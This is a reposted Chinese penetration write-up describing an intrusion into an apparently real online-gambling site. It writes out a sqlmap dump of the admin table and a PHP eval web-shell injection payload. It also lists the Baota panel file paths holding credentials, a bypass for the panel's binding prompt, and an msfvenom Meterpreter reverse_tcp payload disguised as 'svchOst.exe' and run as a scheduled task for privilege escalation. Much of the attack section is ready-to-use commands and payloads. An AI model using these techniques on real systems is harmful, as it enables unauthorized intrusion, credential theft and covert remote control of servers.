一次BC站点的GetShell过程
2022-10-8 10:12:16 Author: 黑白之道(查看原文) 阅读量:24 收藏

0x00 前言

bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限

0x01 获取源码

首先先常规扫一波目录:

dirsearch -u 'http://x.x.x.x:80/' -e php

并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。

Github:

0x02 进入后台

通过之前的扫描,可以获取到后台登陆地址。

访问可以看到登陆页面。

没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了,首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。

<?php@session_start(); //后台登陆验证
if(!isset($_SESSION["adminid"])){ unset($_SESSION["adminid"]); unset($_SESSION["login_pwd"]); unset($_SESSION["quanxian"]); echo "<script>alert('login!!pass');</script>"; exit;}else{ include_once("../../include/mysqlio.php");

那么最直接的思路,就是找到一个没有包含这个文件的地方。

find ./ -name "*.php" |xargs grep -L "login_check.php"

找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。

正常情况:
输入单引号,出错:

SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。

 sqlmap -r sql.txt -D dsncly -T sys_admin --dump

0x03 GetShell

进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。
黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval、file_put_contens、fwrite、fputs等。

可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。

构造payload:

');eval($_POST[a]);var_dump(md5(1));//;

最终写入到文件gp_db.php

成功GetShell

0x04 宝塔提权

通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。

不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。

获取密码:D:/BtSoft1/panel/data/default.pl开放端口:D:/BtSoft1/panel/data/port.pl后台地址:D:/BtSoft1/panel/data/admin_path.pl获取账号:D:/BtSoft1/panel/data/default.db

通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/

登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。
下面有两种思路进行提权:

1) 通过软件管理->已安装,删除禁用函数,来实现命令执行。

2) 通过宝塔自带的计划任务。
MSF生成木马
msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 5  LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv  -f exe > svchOst.exe

放到C盘即可,然后添加shell计划任务

ipconfig /all 查看网络状态
简单查看下arp -a和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。

0x05 总结

本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。

文章来源:奇安信攻防社区(xq17)

原文地址:https://forum.butian.net/share/1225
排版:潇湘信安

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650553343&idx=3&sn=1cfed205c9db3fd20b5f08edada54898&chksm=83bd5e1bb4cad70d4748ee53ceafd5e323008d7e70352f30438a304de301e42f9237457a075d#rd
如有侵权请联系:admin#unsafe.sh